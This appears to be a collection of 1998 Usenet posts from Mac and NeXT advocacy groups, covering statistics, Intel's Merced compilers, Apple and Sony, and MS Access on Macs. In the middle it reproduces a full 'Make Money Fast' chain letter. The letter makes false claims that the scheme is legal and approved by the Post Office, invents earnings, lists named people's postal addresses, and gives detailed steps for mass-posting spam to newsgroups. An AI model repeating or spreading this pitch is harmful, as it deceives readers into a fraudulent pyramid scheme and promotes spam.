Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kfqnv.lj9.sal@panix3.panix.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM>
On Wed, 29 Apr 1998 15:30:49 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
>Kevin Stone wrote:
>> Any statsticion would disagree with you.
>I doubt it. I'm not a statistician, but I don't think you've correctly
>read the problem.
Translation:
I don't know what I am talking about, but I am going to say it anyway.
>> Percentage increace of data in indeed a very meaningfull statistic. It
>> tells you, without having to know what the data is, exactly how much was
>> gained over the previous data.
>The problem is not with percentage increase, but with percentages
>measured in percentages. Such differential measurements, especially when
>based on a fluctuating population, are totally meaningless.
Wrong.
They are useful and they are common. HP uses them in it's annual report:
http://www.hp.com/financials/97annrep/review/financial/
Skip down to the "Net earnings" line on the chart.
<trimmed to better illustrate my example>
For the years ended October 31 1997 1996 1995
---------------------------------------------
Net earnings 7.3% 6.7% 7.7%
Next skip down to final paragraph. They clearly state
"As reported, net earnings increased
21 percent to $3.1 billion in 1997,
compared with a 6 percent increase
in 1996."
They list net earnings growth as a _Ratio_
And why? Because that number represents such a complex set of calculations
that is is hard to attach any other kind of number to it.
Any why is it useful? Because HP's earnings are complex. There are lots
of varibles. Earnings might increase even if revenues decrease. Unit sales
might go up, even it avg unit sale price goes down. The cost of selling
might change. By having a useful ratio to benchmark those changes, the
rest of the financial report is a lot easier to read.
Anyone who has taken any science classes knows that the best way to show
a rate of change in one variable, is when all the other variables are
constant.
(BTW, I picked HP out of the blue. If I picked Kodak, Sony or Pepsi I
would be able to show the same thing. Heck, buy a copy of the WSJ and
look them up yourself.)
Can you see why listing the 3.4% -> 4.0% growth makes sense when listed
as 15% growth? It cuts out a lot of the vars and focuses on one fact.
>> For example... When ever you talk about the speed of computers, you would
>> say something like, "Computer A is 25% faster than Computer B". This is a
>> percentage of increace comparison.
>The problem in question is not analogous to your example. The problem in
>question would involve something like this:
Actually, his statement is right on the mark. Your example made no sense
at all. It wasn't even close to what he was describing.
>The absurdity of the above problem should be evident.
What is evident is that you have never read a financial statement.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: 30 Apr 1998 03:22:11 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6i8qp3$cmp@newsb.netnews.att.com>
References: <6hv7e1$tq4$1@nnrp1.dejanews.com> <tim-2604980844350001@jump-k56flex-0032.jumpnet.com> <6i282r$ctg@newsb.netnews.att.com> <slrn6k9bqj.5s5.sal@panix3.panix.com>
Originator: gupta@tlctest
Salvatore Denaro <sal@panix3.panix.com> wrote:
>>An interesting observation -- isn't Intel's Merced going to depend on smart
>>compilers to schedule code for it, etc.
>
>So Intel is betting on Microsoft's ability to write a smart compiler?
>
>Remind me to short Intel when I finish laughing...
:-)
Intel is being smart. I think Intel is producing the compiler, lining
up UNIX vendors -- HP of course, and SUN, and SCO. Dunno if IBM is
going to jump on the bandwagon. Intel will have software for Merced
whether or not Microsoft is ready.
-arun gupta
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Rhapsody on SGI!
Newsgroups: comp.sys.next.advocacy
References: <6hj4s6$61q@news.nd.edu> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com> <rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com> <rmcassid-2404981024090001@dante.eng.uci.edu> <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com> <rmcassid-2704980939540001@dante.eng.uci.edu> <6i5s68$6ae$3@ha2.rdc1.sdca.home.com>
Message-ID: <3547f577.0@news.depaul.edu>
Date: 30 Apr 98 03:52:23 GMT
Rex Riley <rriley@yahoo.com> wrote:
> None of the alliances really worked out for OPENSTEP. Why would they hold
> under Rhapsody any better?
Different market conditions.
<snip>
> Plan A is SONY.
Unless I dreamt it, didn't Sony recently shack up with Microsoft
in some capacity?
> Plan B is a tangenital choice like Lucent Technologies.
'tangenital'? I don't wanna know. Especially if it has anything
to do with the origin of Lucent's logo. ;^)
- Jon
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 30 Apr 1998 04:31:15 GMT
Organization: @Home Network
Message-ID: <6i8uqj$p1b$1@ha2.rdc1.sdca.home.com>
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com>
<6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com>
<35479A36.AD3AAC09@trilithon.com> <01bd73ce$08f9d590$04387880@test1>
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Cc: todd@NetSQ.com
In <01bd73ce$08f9d590$04387880@test1> "Todd Heberlein" wrote:
> Henry McGilton <henry@trilithon.com> wrote
> > Eric Dew wrote:
> > * Considering all the recent BAD deals that Japanese
> > * companies have made (Rockefeller Center, Columbia,
> > * etc.) and that Japan and other Asian countries
> > * are not doing so well, I think Apple may be in a
> > * position to BUY SONY rather than the other way around.
> > Sony's market cap is $34 billion. Apple's is $3.7 billion.
>
> Also, Apple, like it or not, is still seen as an also-ran - a loser to
> Microsoft's Windows operating systems. While the press has been
> printing positive stories about Apple, Apple still has a long way to go
> in the eyes of people who don't own Macs.
>
> I believe for Apple to grow (as well as survive), Apple must sell new
> products, into new markets, and attract new customers. I believe Sony
> could really help Apple do this.
>
> Selling upgrades to existing owners, especially since the existing
> owner base is slowly eroding, will only prolong death.
>
> I predict this will be a very interesting year for Apple... Waiting
> for news from WWDC...
>
>
While you're waiting... what would you do with Apple's interesting year?
-r
From: DWells <tator3@iname.com>
Newsgroups: comp.sys.mac.programmer.codewarrior,comp.sys.mac.programmer.help,comp.sys.mac.system,comp.sys.mac.wanted,comp.sys.mips,comp.sys.msx,comp.sys.newton.marketplace,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops,comp.sys.palmtops.pilot,comp.sys.powerpc.advocacy,comp.sys.psion.marketplace,comp.sys.psion.misc,comp.sys.psion.programmer,comp.sys.sgi.admin,comp.sys.sgi.apps,comp.sys.sgi.graphics
Subject: EZ EZ MONEY, WHILE YOU WAIT...
Date: Wed, 29 Apr 1998 08:35:09 -0400
Organization: Northeast Regional Data Center
Message-ID: <35471E7C.1EEF26B5@iname.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
.........For Your Ship To Come In!!!!
This is simple, safe, and it really works! For $6 (US), 6 stamps, and
about an hour of your time, you could earn a year's salary in a month.
Sounds to good to be true, but just imagine. WHAT IF?
A little while back, I was browsing these newsgroups, just like
you are now, and came across an article similar to this that said you
could make thousands of dollars within weeks with only an initial
investment of $6.00!
So I thought, "Yeah, right, this must be a scam!" but like most of us, I
was curious. Like most of us, I kept reading. Anyway, it said that if
you send $1.00 to each of the 6 names and addresses stated in the
article, you could make thousands in a very short period of time. You
then place
your own name and address at the bottom of the list at #6, and post the
article to at least 200 newsgroups. (There are about 22,000.) or e-mail
them to friends, or e-mailing lists...
No catch, that was it.
Even though the investment was a measly $6, I had three questions that
needed to be answered before I could get involved in this sort of thing.
1. IS THIS REALLY LEGAL?
I called a lawyer first. The lawyer was a little skeptical that I would
actually make any money but he said it WAS LEGAL if I wanted to try it.
I told him it sounded a lot like a chain letter but the details of the
system (SEE BELOW) actually made it a legitimate legal business.
2. Would the Post Office be OK with this...?
I called them: 1-800-725-2161 and they confirmed THIS IS ABSOLUTELY
LEGAL!
(See Title 18,h sections 1302 NS 1341 of Postal Lottery Laws). This
clarifies the program of collecting names and addresses for a mailing
list.
3. Is this moral?
Well, everyone who sends me a buck has a good chance of getting A LOT
of money ... a much better chance than buying a lottery ticket!
So, having these questions answered, I invested EXACTLY $7.92 ... six
$1.00 bills and six 32 cent postage stamps ... and boy am I glad I did!
Within 7 days, I started getting money in the mail! I was shocked! I
still figured it would end soon, and didn't give it another thought. But
the
money just continued coming in. In my first week, I made about $20.00 to
$30.00 dollars. By the end of the second week I had a made total of
$1,000.00!
In the third week I had over $10,000.00 and it was still growing. This
is
now my fourth week and I have made a total of just over $42,000.00 and
it's still coming in.....
It's certainly worth $6.00 and 6 stamps!
So now I'm reposting this so I can make even more money! The *ONLY*
thing stopping *ANYONE* from enriching their own bank account is pure
laziness!
It took me all of 5 MINUTES to print this out, follow the directions,
and begin posting to newsgroups. It took me a mere 45 minutes to post
to over 200 newsgroups. And for this GRAND TOTAL investment of $ 7.92
(US)
and under ONE HOUR of my time, I have reaped an incredible amount of
money
--
like nothing I've ever even heard of anywhere before!
'Nuff said!
Let me tell you how this works, and most importantly, why it works.
Also, make sure you print a copy of this article now, so you can get the
information off of it when you need it. The process is very simple and
consists of THREE easy steps.
============
HOW IT WORKS
============
STEP 1:
------
Get 6 separate pieces of paper and write the following on each piece of
paper:
PLEASE ADD ME TO YOUR MAILING LIST.
$1 US DOLLAR PROCESSING FEE IS ENCLOSED.
(THIS IS KEY AS THIS IS WHAT MAKES IT LEGAL SINCE YOU ARE
PAYING FOR AND
LATER OFFERING A SERVICE).
Now get 6 $1.00 bills and place ONE inside EACH of the 6 pieces of paper
so the bill will not be seen through the envelope to prevent
theft/robbery.
Then, place one paper in each of the 6 envelopes and seal them. You
should now have 6 sealed envelopes, each with a piece of paper stating
the above phrase and an U.S. $1.00 bill.
Mail the 6 envelopes to the following addresses:
#1- Coveleski
P.O. Box 803
Goshen, NY 10924
USA
#2- Dixon G.
17811 S.W. 137th Court
Miami, FL 33177
USA
#3- Anders Roth
Kuuvuorenkatu 1C 59
FIN-20540 TURKU
FINLAND
#4- Ron Cooper
177 Cochrane Cres.
Ft. McMurray, Alta
T9K 1H1
Canada
#5- Bruce Pelletier
P.O. Box 359
Gray, ME 04039
USA
#6- D. Wells
18114 SE CR 234
Micanopy, FL. 32667
USA
STEP 2: Now take the #1 name off the list that you see above, move the
other names up (6 becomes 5, 5 becomes 4, etc.) and add YOUR Name as
number 6 on the list. (If you want to remain anonymous put a nickname,
but the address MUST be correct. It, of course, MUST contain your
country, state/district/area, zip code, etc! You wouldn't want your
money to fly
away, would you?).
STEP 3: Now post your amended article to at least 200 newsgroups.
Remember that 200 postings are just a guideline. The more you post, the
more money you make!
Don't know HOW to post in the news groups? Well do exactly the
following:
------------------------------------------------------------------------
HOW TO POST TO NEWSGROUPS FAST WITH YOUR WEB
BROWSER:
The fastest way to post a newsletter: Highlight and COPY
(Ctrl-C) the text of this posted message and PASTE (Ctrl-V) it into a
plain text editor (as Wordpad) and save it. After you have made the
necessary changes that are stated above, simply COPY (Ctrl-C) and PASTE
(Ctrl-V)
the text into the message composition window, after selecting a
newsgroup, and post it! (Or you can attach the file, without writing
anything to
the message window.)
------------------------
------------------------------------------------------------------------
If you have Netscape Navigator 3.0 do the following:
1. Click on any newsgroup like normal, then click on 'TO NEWS'. This
will bring up a box to type a message in.
2. Leave the newsgroup box like it is, change the subject box to
something flashy, something to catch the eye, as "$$$ NEED CASH $$$?
READ HERE! $! $! $" Or "$$$! MAKE FAST CASH, YOU CAN'T LOSE! $$$". Or
you can
use my subject title.
3. Now click on 'ATTACHMENTS'. Then click on 'ATTACH FILE'. Find your
file on your Hard Disk (the one you saved from the text editor). Once
you find it, click on it and then click 'OPEN' and 'OK'. You should now
see
your file name in the attachments box.
4. Now click on 'SEND'/'POST'. You see? Now you just have 199 to go!
(Don't worry, it's easy and quick once you get used to it.) NOTE: All
the versions of Netscape Navigator's are similar to each other, so
you'll
have no problem to do this if you don't have Netscape Navigator 3.0.
------------------------------------------------------------------------
! QUICK TIP!
(For Netscape Navigator 3.x and above)
You can post this message to many newsgroups at a time, by simply
selecting a newsgroup near the top of the screen, hold
down the SHIFT, and then select a newsgroup near the bottom of the
screen. All of the newsgroups in/between will be selected. After that,
you
follow the basic steps, stated below in this letter, except step #1.
You can go to the page stated below in this letter and click on a
newsgroup to open up the newsgroups window. Once you've done this, in
the same
window go to 'OPTIONS', and then mark 'SHOW ALL NEWSGROUPS' and 'SHOW
ALL MESSAGES'.
Now you can see all the newsgroups and you can apply easier the above
tip.
------------------------------------------------------------------------
If you have MS Internet Explorer do the following:
1. Go to the newsgroups and press 'POST AN ARTICLE'. To the new
window type your headline in the subject area and then click in the
large window below.
There either PASTE your letter (which it's been copied from the text
editor), or attach the file which contains it.
2. Then click on 'SEND' or 'OK'. NOTE: All versions of MS Internet
Explorer are similar to each other, so you won't have any problem doing
this.
GENERAL NOTES ON POSTING: A nice page where you'll find all the
newsgroups if you want help is http://www.liszt.com/ (When you go to the
home page, click on the link 'Newsgroup Directory'). But I don't think
you'll have any problem posting because it's very easy once you've
found the newsgroups. All these web browsers are similar. It doesn't
matter which one you have. (But it makes it very easy if you have
Netscape Navigator 3.0 or later. You may download it from the Internet
if you
don't have it.) You just have to remember the basic steps, stated below.
BASIC STEPS FOR POSTING:
1. Find a newsgroup and you click on it.
2. You click on 'POST AN/NEW ARTICLE' or 'TO NEWS' or anything else
similar to these.
3. You type your flashy headline in the subject box.
4. Now, either you attach the file containing your amended letter, or
you PASTE the letter. (You have to COPY it from the text editor, of
course, from before.)
5. Finally, you click on 'SEND' or 'POST' or 'OK', whatever is there.
------------------------------------------------------------------------
**REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE
MONEY YOU WILL MAKE! BUT YOU HAVE TO POST A MINIMUM OF 200**
That's it! You will begin receiving money from around the world within
days! You may eventually want to rent a P.O.Box due to the large amount
of mail you receive. If you wish to stay anonymous, you can invent a
name to use, as long as the postman will deliver it.
**JUST MAKE SURE ALL THE ADDRESSES ARE CORRECT. **
-------------------------------------------------------------------------
=================
Now the WHY part:
=================
Out of 200 postings; say I receive only 5 replies (a very low example).
So then I made $5.00 with my name at #6 on the letter. Now, each of the
5 persons who just sent me $1.00 make the MINIMUM 200 postings, each
with my name at #5 and only 5 persons respond to each of
the original 5, that is another $25.00 for me, now those 25 each make
200 MINIMUM posts with my name at #4 and only 5 replies each, I will
bring in an additional $125.00! Now, those 125 persons turn around and
post
the MINIMUM 200 with my name at #3 and only receive 5 replies
each, I will make an additional $626.00! OK, now here is the fun part,
each of those 625 persons post a MINIMUM 200 letters with my name at #2
and they each only receive 5 replies, that just made me $3,125.00! Those
3,125 persons will all deliver this message to 200 newsgroups with my
name at
#1 and if still 5 persons per 200 newsgroups react I will receive
$15,625,00!
With an original investment of only $6.00! AMAZING! And as I said 5
responses is actually VERY LOW! Average are probable 20 to 30! So lets
put those figures at just 15 responses per person. Here is what you will
make:
at #6 $15.00
at #5 $225.00
at #4 $3,375.00
at #3 $50,625.00
at #2 $759,375.00
at #1 $11,390,625.00
When your name is no longer on the list, you just take the latest
posting in the newsgroups, and send out another $6.00 to names on the
list, putting your name at number 6 again. And start posting again. The
thing
to remember is, do you realize that thousands of people all over the
world are
joining the internet and reading these articles everyday, JUST LIKE YOU
are now!
So can you afford $6.00 and see if it really works? I think so... People
have said, "what if the plan is played out and no one sends you the
money? So what! What are the chances of that happening when there are
tons of new
honest users and new honest people who are joining the internet and
newsgroups everyday and are willing to give it a try? Estimates are at
20,000 to 50,000 new users, every day, with thousands of those joining
the actual Internet. Remember, play FAIRLY and HONESTLY and this will
work. You just have to be honest.
By the way, if you try to deceive people by posting the messages with
your name in the list and not sending the money to the rest of the
people already on the list, you will NOT get as much. Someone I talked
to knew
someone who did that and he only made about $150.00, and that's after
seven or eight weeks! Then he sent the 6 $1.00 bills, people added him
to their lists, and in 4-5 weeks he had over $10k. This is the fairest
and
most honest way I have ever seen to share the wealth of the world
without
costing anything but our time! You also may want to buy mailing and
e-mail lists for future dollars. Make sure you print this article out
RIGHT NOW, also. Try to keep a list of everyone that sends you money and
always keep an eye on the newsgroups to make sure everyone is playing
fairly.
Remember that HONESTY IS THE BEST POLICY. You don't need to cheat the
basic idea to make the money!
GOOD LUCK to all and please play fairly and reap the huge rewards from
this, which is tons of extra CASH. Please remember to declare your extra
income. Thanks once again...
===========================================================
==========
LEGAL? ? ? (Comments from Bob Novak who started this new version.)
"People have asked me if this is really legal. Well, it is! You are
using the Internet to advertise your business. What is that business?
You are
assembling a mailing list of people who are interested in home based
computer and online business and methods of generating income at home.
Remember that people send you a small fee to be added to your mailing
list.
It is legal. What will you do with your list of thousands of names?
Compile all of them into a database and sell them as "Mailing Lists"
on the internet in a similar manner, if you wish, and make more money.
How do you think you get all the junk mail that you do? Credit card
companies, mail order, Utilities, anyone you deal with through the mail
can sell your name and address on a mailing list, unless you ask them
not to, in addition to there regular business, So, why not do the same
with the list you collect. You can find more info about "Mailing Lists"
on the internet using any search engine.
." So, build your mailing list, keep good accounts, declare the
income and pay your taxes. By doing this you prove your business
intentions. Keep an eye on the newsgroups and when the cash has stopped
coming (that means your name is no longer on the list), you just take
the latest posting at the newsgroups, send another $6.00 to the names
stated on the list, make your corrections (put your name at #6) and
start
posting again.
===========================================================
NOTES:
*1. In some countries, the export of the country's exchange is illegal.
But you can get the license to do this from the post office, explaining
the above statements (that you have an online business,
etc. You may have to pay an extra tax, but that's OK, the amount of the
incoming money is HUGE! And as I said, a few countries have that
restriction.
*2. You may want to buy mailing and e-mail lists for future dollars. (Or
Database or Spreadsheet software.)
*3. If you're really not sure or still think this can't be for real,
please print a copy of this article and pass it along to someone who
really needs the money, and see what happens.
*4. You should start getting responses within 1-2 weeks.
Newsgroups: comp.sys.mac.programmer.codewarrior,comp.sys.mac.programmer.help,comp.sys.mac.system,comp.sys.mac.wanted,comp.sys.mips,comp.sys.msx,comp.sys.newton.marketplace,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops,comp.sys.palmtops.pilot,comp.sys.powerpc.advocacy,comp.sys.psion.marketplace,comp.sys.psion.misc,comp.sys.psion.programmer,comp.sys.sgi.admin,comp.sys.sgi.apps,comp.sys.sgi.graphics
From: news@news.msfc.nasa.gov
Message-ID: <cancel.35471E7C.1EEF26B5@iname.com>
Control: cancel <35471E7C.1EEF26B5@iname.com>
Subject: cmsg cancel <35471E7C.1EEF26B5@iname.com>
Organization: http://www.msfc.nasa.gov/
Date: Thu, 30 Apr 1998 07:07:46 GMT
Sender: DWells <tator3@iname.com>
Make Money Fast post canceled by J. Porter Clark.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Thu, 30 Apr 1998 03:18:40 -0500
Organization: KAOS
Message-ID: <19980430031840619491@sdn-ts-002txhousp16.dialsprint.net>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au> <19980427030807624767@sdn-ts-002txhousp02.dialsprint.net> <slrn6kaq9o.rtp.mbkennel@lyapunov.ucsd.edu>
Matt Kennel wrote -- well, my newsserver won't let me tell you what he
wrote (bad old-to-new text ratio), but it was well worth reading.
Excellent post, Matt! I'm proud to have provided the (admittedly
meager) catalyst for it. You've reaffirmed my faith that one *can* find
intelligent life on Usenet if the stars line up just so. ;-)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
Message-ID: <35481E39.75C0@ultranet.ca>
Date: Wed, 29 Apr 1998 23:46:27 -0700
From: Alan Baker <Alan_spamMeNot_Baker@ultranet.ca>
Organization: bakerMEDIA
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
References: <3546D280.2588@ultranet.ca> <B16C9D26-25EBF@206.165.43.25> <6i84cq$all$1@nntp2.ba.best.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
MR_boxster wrote:
>
> In article <B16C9D26-25EBF@206.165.43.25>, "Lawson English" <english@primenet.com> wrote:
>
> >Anyone that works in a mixed Mac-WIntel platform which has standardized on
> >MS Office, must use either a PC card or SoftWindows, if they wish to share
> >Access files across a network. [I don't even know if SoftWindows will
> >handle Access across a network]
> >
> >This means that either the Mac user must spend and extra $500-$1000 for the
> >PC card that could be spent on enhancing his/her Mac, or they must be
> >content with 1/5 the speed on their Mac.
> >
> >Either way, Gates wins another "Mac's can't handle and important office
> >task without emulating Windows" victory, which makes it harder for Mac
> >users to justify using Macs in the first place.
> >
>
> No, all they need to do is create a web front end interface to Access. This
> can be done now with Active ServerPages/ASP and IIS.
>
> So mac users can have access to the same database created by Access.
> thats the beauty of ODBC... FileMaker should have it
>
> -
> porschemeister
If you're referring to a web front end when you say "FileMaker should
have it" then you're behind the times. FileMaker 4 has a Web interface.
If you refer to methods to connect Mac software to bigger iron
databases, the Mac OS has include DAL (Data Access Language) going on
forever.
It's basicall SQL for the Mac. Perhaps you've heard of SQL?
--
Alan Baker
bakerMEDIA
Alan_spamMEnot_baker@ultranet.ca
(just one underscore between the names please)
Message-ID: <35481EB9.6F5@ultranet.ca>
Date: Wed, 29 Apr 1998 23:48:36 -0700
From: Alan Baker <Alan_spamMeNot_Baker@ultranet.ca>
Organization: bakerMEDIA
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
References: <3546D280.2588@ultranet.ca> <B16C9D26-25EBF@206.165.43.25>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lawson English wrote:
>
> Alan Baker <Alan_spamMeNot_Baker@ultranet.ca> said:
>
> > MS Office came out while Steve was doing the NeXT thing and well before
> > he returned to Apple MS started developing Office using a high level
> > pseudo-code effort which could then be compiled for either Mac or
> > Windows (although it appears to have been much more effective at
> > producing Windows code; witness the Word 6 debacle).
> >
>
> Two points:
>
> the Microsoft compiler produces *native* code for Wintel and intermediate
> code for Macs that is interpreted by a native "PCOD" interpreter on the
> Mac..
>
> the Word 6.0 issue wasn't so much interpreted vs native as it was native vs
> 68K emulated. The project lead for MS Word 6.0, on the
> comp.sys.mac.programmer newsgroup, claimed that the original version of
> Word 6 was 100% native and even *slower* than the released version.
>
> Apparently [guessing here], there was some pathological way in which their
> interpreter was interacting with the 68K emulator that was causing the
> problem. This is a known issue with the PowerMacs and 100% native apps,
> especially if they patch the OS (as MS always does) and happen to extend an
> emulated OS trap with a native patch, thereby causing a double
> context-switch (native->emulated->native) every time the OS call is evoked.
>
> > So if MS had this pseudo code base to work from, what exactly was to
> > prevent them from producing Access for the Mac?
>
> A desire to cripple the MacOS platform?
>
> Anyone that works in a mixed Mac-WIntel platform which has standardized on
> MS Office, must use either a PC card or SoftWindows, if they wish to share
> Access files across a network. [I don't even know if SoftWindows will
> handle Access across a network]
>
> This means that either the Mac user must spend and extra $500-$1000 for the
> PC card that could be spent on enhancing his/her Mac, or they must be
> content with 1/5 the speed on their Mac.
>
> Either way, Gates wins another "Mac's can't handle and important office
> task without emulating Windows" victory, which makes it harder for Mac
> users to justify using Macs in the first place.
>
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
Actually, that was pretty much _my_ point.
You're arguing with the wrong guy on this one.
Dangers of coming in in the middle (I should know; I did the same thing
a few posts back)
Cheers
--
Alan Baker
bakerMEDIA
Alan_spamMEnot_baker@ultranet.ca
(just one underscore between the names please)
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: Thu, 30 Apr 1998 09:18:45 -0700
Organization: Trilithon Research and Trading
Message-ID: <3548A465.15A1D514@trilithon.com>
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com>
<6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com>
<35479A36.AD3AAC09@trilithon.com> <6i8dhk$h1p$1@news.idiom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John C. Randolph wrote:
> Henry McGilton may or may not have said:
> -> Eric Dew wrote:
> -> * Considering all the recent BAD deals that Japanese
> -> * companies have made (Rockefeller Center, Columbia,
> -> * etc.) and that Japan and other Asian countries
> -> * are not doing so well, I think Apple may be in a
> -> * position to BUY SONY rather than the other way around.
> -> Sony's market cap is $34 billion. Apple's is $3.7 billion.
>
> NeXT took over Apple, didn't they? ;-)
Touche! And with zero market cap, to boot. Now that's
what you call a "leveraged buyout"!.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: 30 Apr 1998 15:37:02 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6ia5qu$kja$1@new-news.cc.brandeis.edu>
References: <6i282r$ctg@newsb.netnews.att.com> <slrn6k9bqj.5s5.sal@panix3.panix.com> <6i8qp3$cmp@newsb.netnews.att.com>
In article <6i8qp3$cmp@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>Salvatore Denaro <sal@panix3.panix.com> wrote:
>
>>>An interesting observation -- isn't Intel's Merced going to depend on smart
>>>compilers to schedule code for it, etc.
>>
>>So Intel is betting on Microsoft's ability to write a smart compiler?
>>
>>Remind me to short Intel when I finish laughing...
>
>:-)
>Intel is being smart. I think Intel is producing the compiler, lining
>up UNIX vendors -- HP of course, and SUN, and SCO. Dunno if IBM is
>going to jump on the bandwagon. Intel will have software for Merced
>whether or not Microsoft is ready.
And SGI...
But what is to become of gcc and, therefore, GNU tools?!
Either its a lot easier to write a VLIW compiler (that does its own
pipelining) or gcc is a non-player. Which has me scratching my head over
the future of GNU. Is VLIW a threat? Is it a strategic move to take
software development out of the hands of end-users, Linux, and free *BSD
folk and limit it to people who can pay whatever price VLIW chipmakers
like Intel want to charge?! Is this a non-issue? Or is this something
that will destine GNU/copyleft/open source folk to turn to other
architectures?
I'm worried that nothing has been mentioned about this... compiler
technology should be available to everyone, not just companies with
big $$$.
--
Nathan Raymond
http://www.everythingmac.com
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Thu, 30 Apr 1998 11:20:05 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-3004981120050001@130.130.117.53>
References: <3546D280.2588@ultranet.ca> <B16C9D26-25EBF@206.165.43.25> <6i84cq$all$1@nntp2.ba.best.com> <35481E39.75C0@ultranet.ca>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <35481E39.75C0@ultranet.ca>, Alan_spamMeNot_Baker@ultranet.ca wrote:
:If you're referring to a web front end when you say "FileMaker should
:have it" then you're behind the times. FileMaker 4 has a Web interface.
Actually it has a web server built in that you can map to any port of
which the default is 80. It is nice because you do not have to be running
another web server but can if you want to serve other pages.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Message-ID: <edewEs8IsB.KuE@netcom.com>
Sender: edew@netcom20.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com> <35479A36.AD3AAC09@trilithon.com>
Date: Thu, 30 Apr 1998 16:21:47 GMT
In article <35479A36.AD3AAC09@trilithon.com> Henry McGilton <henry@trilithon.com> writes:
>Eric Dew wrote:
> * Considering all the recent BAD deals that Japanese
> * companies have made (Rockefeller Center, Columbia,
> * etc.) and that Japan and other Asian countries
> * are not doing so well, I think Apple may be in a
> * position to BUY SONY rather than the other way around.
>Sony's market cap is $34 billion. Apple's is $3.7 billion.
Of course, I was being facetious. But, let's wait a few weeks and see
what the market cap is then :-)
EDEW
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 30 Apr 1998 17:43:03 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd745f$72cfad50$04387880@test1>
